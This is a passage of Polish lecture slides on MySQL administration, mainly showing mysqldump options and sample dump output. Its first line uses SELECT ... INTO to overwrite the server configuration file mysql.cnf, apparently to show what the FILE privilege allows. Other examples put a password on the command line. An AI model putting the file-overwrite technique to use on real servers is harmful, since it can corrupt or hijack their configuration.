create table xxx( line text );insert into xxx values (”A to mój nowy plik konfiguracyjny”); select line from xxx into c:\mysql\mysql.cnf
![Page 51: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/51.jpg)
Zarządzanie i administracja MySQL
![Page 52: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/52.jpg)
mysqldumpmysqldump
Do przygotowywania zrzutów danych z serwera służy mysqldump
Programiku mysqldump używa się najczęściej z parametrami: -uuser – użytkownik (musi mieć odpowiednie prawa do bazy danych) -ppassword – hasło (warto otoczyć hasło cudzysłowami) --all-databases – jeśli chcemy archiwizować wszystkie bazy
Przykład:
mysqldump –uroot –p”taki;kera” bazatestowa
Zrzuty wykonuje się często do pliku tekstowego:
mysqldump –uroot –p”taki;kera” bazatestowa > zrzut.bazatestowa.sql
Wynik działania jest gotowym skryptem sql do wykorzystania
![Page 53: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/53.jpg)
mysqldumpmysqldump
-- MySQL dump 10.11---- Host: localhost Database: poligon-- -------------------------------------------------------- Server version 5.0.77
/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */;/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */;/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */;/*!40101 SET NAMES utf8 */;/*!40103 SET @OLD_TIME_ZONE=@@TIME_ZONE */;/*!40103 SET TIME_ZONE='+00:00' */;/*!40014 SET @OLD_UNIQUE_CHECKS=@@UNIQUE_CHECKS, UNIQUE_CHECKS=0 */;/*!40014 SET @OLD_FOREIGN_KEY_CHECKS=@@FOREIGN_KEY_CHECKS,
FOREIGN_KEY_CHECKS=0*/;/*!40101 SET @OLD_SQL_MODE=@@SQL_MODE, SQL_MODE='NO_AUTO_VALUE_ON_ZERO'
*/;/*!40111 SET @OLD_SQL_NOTES=@@SQL_NOTES, SQL_NOTES=0 */;
![Page 54: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/54.jpg)
---- Table structure for table `user`--
DROP TABLE IF EXISTS `user`;SET @saved_cs_client = @@character_set_client;SET character_set_client = utf8;CREATE TABLE `user` ( `id` int(11) NOT NULL auto_increment, `imie` char(30) default NULL, `nazwisko` char(50) default NULL, PRIMARY KEY (`id`)) ENGINE=MyISAM AUTO_INCREMENT=2 DEFAULT CHARSET=latin1;SET character_set_client = @saved_cs_client;
![Page 55: Bazy Danych Wykład 7 Wojciech St. Mościbrodzki wojmos@wojmos](https://reader036.vdocuments.site/reader036/viewer/2022081515/56813dff550346895da7da0f/html5/thumbnails/55.jpg)
---- Dumping data for table `user`--
LOCK TABLES `user` WRITE;/*!40000 ALTER TABLE `user` DISABLE KEYS */;INSERT INTO `user` VALUES (1,'Jan','Kowalski');/*!40000 ALTER TABLE `user` ENABLE KEYS */;UNLOCK TABLES;/*!40103 SET TIME_ZONE=@OLD_TIME_ZONE */;
/*!40101 SET SQL_MODE=@OLD_SQL_MODE */;/*!40014 SET FOREIGN_KEY_CHECKS=@OLD_FOREIGN_KEY_CHECKS */;/*!40014 SET UNIQUE_CHECKS=@OLD_UNIQUE_CHECKS */;/*!40101 SET CHARACTER_SET_CLIENT=@OLD_CHARACTER_SET_CLIENT */;/*!40101 SET CHARACTER_SET_RESULTS=@OLD_CHARACTER_SET_RESULTS */;/*!40101 SET COLLATION_CONNECTION=@OLD_COLLATION_CONNECTION */;/*!40111 SET SQL_NOTES=@OLD_SQL_NOTES */;